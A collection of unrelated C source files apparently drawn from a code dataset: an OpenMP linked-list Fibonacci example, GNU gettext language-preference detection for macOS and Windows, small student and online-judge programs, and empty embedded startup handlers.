struct node* init_list(int nelems) {
int i;
struct node *head, *p1, *p2;
p1 = malloc(sizeof(struct node));
head = p1;
p1->data = 0;
p1->fibdata = 0;
p1->threadnum = 0;
for (i=0; i<nelems-1; i++) {
p2 = malloc(sizeof(struct node));
p1->next = p2;
p2->data = i+1;
p2->fibdata = 0;
p2->threadnum = 0;
p1 = p2;
}
p1->next = NULL;
return head;
}
int main(int argc, char *argv[]) {
struct node *p, *temp, *head;
printf("Staring computation of Fibonacci for numbers in linked list \n");
p = init_list(N);
head = p;
while (p != NULL) {
#pragma omp task
processwork(p);
p = p->next;
}
printf("Finished computation of Fibonacci for numbers in linked list \n");
p = head;
while (p != NULL) {
printf("%d: %d computed by thread %d \n", p->data, p->fibdata, p->threadnum);
temp = p->next;
free (p);
p = temp;
}
free (p);
return 0;
}
|
the_stack_data/20449757.c
|
/* Determine the user's language preferences.
Copyright (C) 2004-2007 Free Software Foundation, Inc.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2.1 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
/* Written by Bruno Haible <[email protected]>.
Win32 code originally by Michele Cicciotti <[email protected]>. */
#ifdef HAVE_CONFIG_H
# include <config.h>
#endif
#include <stdlib.h>
#if HAVE_CFPREFERENCESCOPYAPPVALUE
# include <string.h>
# include <CoreFoundation/CFPreferences.h>
# include <CoreFoundation/CFPropertyList.h>
# include <CoreFoundation/CFArray.h>
# include <CoreFoundation/CFString.h>
extern void _nl_locale_name_canonicalize (char *name);
#endif
#if defined _WIN32 || defined __WIN32__
# define WIN32_NATIVE
#endif
#ifdef WIN32_NATIVE
# define WIN32_LEAN_AND_MEAN
# include <windows.h>
# ifndef MUI_LANGUAGE_NAME
# define MUI_LANGUAGE_NAME 8
# endif
# ifndef STATUS_BUFFER_OVERFLOW
# define STATUS_BUFFER_OVERFLOW 0x80000005
# endif
extern void _nl_locale_name_canonicalize (char *name);
extern const char *_nl_locale_name_from_win32_LANGID (LANGID langid);
extern const char *_nl_locale_name_from_win32_LCID (LCID lcid);
/* Get the preferences list through the MUI APIs. This works on Windows Vista
and newer. */
static const char *
_nl_language_preferences_win32_mui (HMODULE kernel32)
{
/* DWORD GetUserPreferredUILanguages (ULONG dwFlags,
PULONG pulNumLanguages,
PWSTR pwszLanguagesBuffer,
PULONG pcchLanguagesBuffer); */
typedef DWORD (WINAPI *GetUserPreferredUILanguages_func) (ULONG, PULONG, PWSTR, PULONG);
GetUserPreferredUILanguages_func p_GetUserPreferredUILanguages;
p_GetUserPreferredUILanguages =
(GetUserPreferredUILanguages_func)
GetProcAddress (kernel32, "GetUserPreferredUILanguages");
if (p_GetUserPreferredUILanguages != NULL)
{
ULONG num_languages;
ULONG bufsize;
DWORD ret;
bufsize = 0;
ret = p_GetUserPreferredUILanguages (MUI_LANGUAGE_NAME,
&num_languages,
NULL, &bufsize);
if (ret == 0
&& GetLastError () == STATUS_BUFFER_OVERFLOW
&& bufsize > 0)
{
WCHAR *buffer = (WCHAR *) malloc (bufsize * sizeof (WCHAR));
if (buffer != NULL)
{
ret = p_GetUserPreferredUILanguages (MUI_LANGUAGE_NAME,
&num_languages,
buffer, &bufsize);
if (ret)
{
/* Convert the list from NUL-delimited WCHAR[] Win32 locale
names to colon-delimited char[] Unix locale names.
We assume that all these locale names are in ASCII,
nonempty and contain no colons. */
char *languages =
(char *) malloc (bufsize + num_languages * 10 + 1);
if (languages != NULL)
{
const WCHAR *p = buffer;
char *q = languages;
ULONG i;
for (i = 0; i < num_languages; i++)
{
char *q1;
char *q2;
q1 = q;
if (i > 0)
*q++ = ':';
q2 = q;
for (; *p != (WCHAR)'\0'; p++)
{
if ((unsigned char) *p != *p || *p == ':')
{
/* A non-ASCII character or a colon inside
the Win32 locale name! Punt. */
q = q1;
break;
}
*q++ = (unsigned char) *p;
}
if (q == q1)
/* An unexpected Win32 locale name occurred. */
break;
*q = '\0';
_nl_locale_name_canonicalize (q2);
q = q2 + strlen (q2);
p++;
}
*q = '\0';
if (q > languages)
{
free (buffer);
return languages;
}
free (languages);
}
}
free (buffer);
}
}
}
return NULL;
}
/* Get a preference. This works on Windows ME and newer. */
static const char *
_nl_language_preferences_win32_ME (HMODULE kernel32)
{
/* LANGID GetUserDefaultUILanguage (void); */
typedef LANGID (WINAPI *GetUserDefaultUILanguage_func) (void);
GetUserDefaultUILanguage_func p_GetUserDefaultUILanguage;
p_GetUserDefaultUILanguage =
(GetUserDefaultUILanguage_func)
GetProcAddress (kernel32, "GetUserDefaultUILanguage");
if (p_GetUserDefaultUILanguage != NULL)
return _nl_locale_name_from_win32_LANGID (p_GetUserDefaultUILanguage ());
return NULL;
}
/* Get a preference. This works on Windows 95 and newer. */
static const char *
_nl_language_preferences_win32_95 ()
{
HKEY desktop_resource_locale_key;
if (RegOpenKeyExA (HKEY_CURRENT_USER,
"Control Panel\\Desktop\\ResourceLocale",
0, KEY_QUERY_VALUE, &desktop_resource_locale_key)
== NO_ERROR)
{
DWORD type;
char data[8 + 1];
DWORD data_size = sizeof (data);
DWORD ret;
ret = RegQueryValueExA (desktop_resource_locale_key, NULL, NULL,
&type, data, &data_size);
RegCloseKey (desktop_resource_locale_key);
if (ret == NO_ERROR)
{
/* We expect a string, at most 8 bytes long, that parses as a
hexadecimal number. */
if (type == REG_SZ
&& data_size <= sizeof (data)
&& (data_size < sizeof (data)
|| data[sizeof (data) - 1] == '\0'))
{
LCID lcid;
char *endp;
/* Ensure it's NUL terminated. */
if (data_size < sizeof (data))
data[data_size] = '\0';
/* Parse it as a hexadecimal number. */
lcid = strtoul (data, &endp, 16);
if (endp > data && *endp == '\0')
return _nl_locale_name_from_win32_LCID (lcid);
}
}
}
return NULL;
}
/* Get the system's preference. This can be used as a fallback. */
static BOOL CALLBACK
ret_first_language (HMODULE h, LPCSTR type, LPCSTR name, WORD lang, LONG_PTR param)
{
*(const char **)param = _nl_locale_name_from_win32_LANGID (lang);
return FALSE;
}
static const char *
_nl_language_preferences_win32_system (HMODULE kernel32)
{
const char *languages = NULL;
/* Ignore the warning on mingw here. mingw has a wrong definition of the last
parameter type of ENUMRESLANGPROC. */
EnumResourceLanguages (kernel32, RT_VERSION, MAKEINTRESOURCE (1),
ret_first_language, (LONG_PTR)&languages);
return languages;
}
#endif
/* Determine the user's language preferences, as a colon separated list of
locale names in XPG syntax
language[_territory][.codeset][@modifier]
The result must not be freed; it is statically allocated.
The LANGUAGE environment variable does not need to be considered; it is
already taken into account by the caller. */
const char *
_nl_language_preferences_default (void)
{
#if HAVE_CFPREFERENCESCOPYAPPVALUE /* MacOS X 10.2 or newer */
{
/* Cache the preferences list, since CoreFoundation calls are expensive. */
static const char *cached_languages;
static int cache_initialized;
if (!cache_initialized)
{
CFTypeRef preferences =
CFPreferencesCopyAppValue (CFSTR ("AppleLanguages"),
kCFPreferencesCurrentApplication);
if (preferences != NULL
&& CFGetTypeID (preferences) == CFArrayGetTypeID ())
{
CFArrayRef prefArray = (CFArrayRef)preferences;
int n = CFArrayGetCount (prefArray);
char buf[256];
size_t size = 0;
int i;
for (i = 0; i < n; i++)
{
CFTypeRef element = CFArrayGetValueAtIndex (prefArray, i);
if (element != NULL
&& CFGetTypeID (element) == CFStringGetTypeID ()
&& CFStringGetCString ((CFStringRef)element,
buf, sizeof (buf),
kCFStringEncodingASCII))
{
_nl_locale_name_canonicalize (buf);
size += strlen (buf) + 1;
/* Most GNU programs use msgids in English and don't ship
an en.mo message catalog. Therefore when we see "en"
in the preferences list, arrange for gettext() to
return the msgid, and ignore all further elements of
the preferences list. */
if (strcmp (buf, "en") == 0)
break;
}
else
break;
}
if (size > 0)
{
char *languages = (char *) malloc (size);
if (languages != NULL)
{
char *p = languages;
for (i = 0; i < n; i++)
{
CFTypeRef element =
CFArrayGetValueAtIndex (prefArray, i);
if (element != NULL
&& CFGetTypeID (element) == CFStringGetTypeID ()
&& CFStringGetCString ((CFStringRef)element,
buf, sizeof (buf),
kCFStringEncodingASCII))
{
_nl_locale_name_canonicalize (buf);
strcpy (p, buf);
p += strlen (buf);
*p++ = ':';
if (strcmp (buf, "en") == 0)
break;
}
else
break;
}
*--p = '\0';
cached_languages = languages;
}
}
}
cache_initialized = 1;
}
if (cached_languages != NULL)
return cached_languages;
}
#endif
#ifdef WIN32_NATIVE
{
/* Cache the preferences list, since computing it is expensive. */
static const char *cached_languages;
static int cache_initialized;
/* Activate the new code only when the GETTEXT_MUI environment variable is
set, for the time being, since the new code is not well tested. */
if (!cache_initialized && getenv ("GETTEXT_MUI") != NULL)
{
const char *languages = NULL;
HMODULE kernel32 = GetModuleHandle ("kernel32");
if (kernel32 != NULL)
languages = _nl_language_preferences_win32_mui (kernel32);
if (languages == NULL && kernel32 != NULL)
languages = _nl_language_preferences_win32_ME (kernel32);
if (languages == NULL)
languages = _nl_language_preferences_win32_95 ();
if (languages == NULL && kernel32 != NULL)
languages = _nl_language_preferences_win32_system (kernel32);
cached_languages = languages;
cache_initialized = 1;
}
if (cached_languages != NULL)
return cached_languages;
}
#endif
return NULL;
}
|
the_stack_data/984673.c
|
//1159 - Soma de Pares Consecutivos
#include <stdio.h>
int main(){
int num = 1, i = 0, soma = 0, pares = 5;
while(1){
scanf("%d", &num);
if(num != 0){
soma = 0;
if(num % 2 == 0){ //par
for(i = 0; i < pares; i++){
soma += num;
//printf("%d ", num);
num += 2;
}
printf("%d\n", soma);
}
else{ //impar
num++;
for(i = 0; i < pares; i++){
soma += num;
//printf("%d ", num);
num += 2;
}
printf("%d\n", soma);
}
}
else{
break;
}
}
return 0;
}
|
the_stack_data/18888624.c
|
/* noyescp.c
* created by Daniel Noyes
* catnate funciton for CIS370
*/
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#define BUFSIZE 512 // the size of the file it is parsing
#define PERMISSION 0644 // file perssiom for the new file
int copy(const char* file1, const char* file2);
void help(void);
int main ( int argc, char *argv[])
{
if( argc!= 3)
{
help();
exit(1);
}
else
{
// if(argv[1] == "--help" || argv[1] = "-h")
// {
// help();
// return 0;
// }
copy(argv[1], argv[2]);
}
return 0;
}
int copy(const char *file1, const char *file2)
{
char buffer[BUFSIZE];
int inputfile, outputfile;
int total[2]; //total size for each file
ssize_t nread, nwrite;
//check if the input file can be read
if(( inputfile = open(file1, O_RDONLY )) == -1)
{
printf("[Error]: %s cannot be read, exiting",file1);
return -1;
}
//check if the outputfile is read ony
if((outputfile = open(file2, O_WRONLY|O_CREAT|O_EXCL| O_APPEND, PERMISSION)) == -1)
{
//close (inputfile);
printf("[INFO]: %s exist!\n", file2);
//exit(1);
}
//read file1 based on the buffersize
while( (nread = read(inputfile, buffer, BUFSIZE)) > 0)
{
if( (nwrite = write(outputfile, buffer, nread)) < nread)
{
close(inputfile);
close(outputfile);
printf("[Error]: write error\n");
return (-3);
}
}
total[0] = lseek(inputfile,0,SEEK_END);
total[1] = lseek(outputfile,0,SEEK_END);
close(inputfile);
close(outputfile);
remove(file1);
printf("[info]: %s is %d bytes\n", file1, total[0]);
printf("[info]: %s is %d bytes\n", file2, total[1]);
if( nread == -1)
return (-4);
else
return 0;
}
void help(void)
{
printf(" Usage: dnoyescp <file1> <file2>\n");
printf(" Help menu:\n");
//printf(" --verion Display version tag\n");
printf(" --help Display this help menu\n");
}
|
the_stack_data/247017996.c
|
#include <stdio.h>
int main(void) {
int n1 = 0, n2 = 0;
do {
printf("Insira 'N1 N2': ");
scanf("%d %d", &n1, &n2);
if (n2 < n1)
printf("ERRO! N2 deve ser maior que N1!\n");
} while (n2 < n1);
long prod = 1;
for (int i = n1; i <= n2; i++)
prod *= i;
printf("O produto entre %d e %d e' %ld.\n", n1, n2, prod);
return 0;
}
|
the_stack_data/696259.c
|
/* Non-Maskable Interrupt; something bad likely happened, so hang */
void _nmi_handler() {
for(;;);
}
/* This function is called upon reset, before .data and .bss is set up */
void _on_reset() {
}
/* This function is called before main() is called, you can do setup here */
void _on_bootstrap() {
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.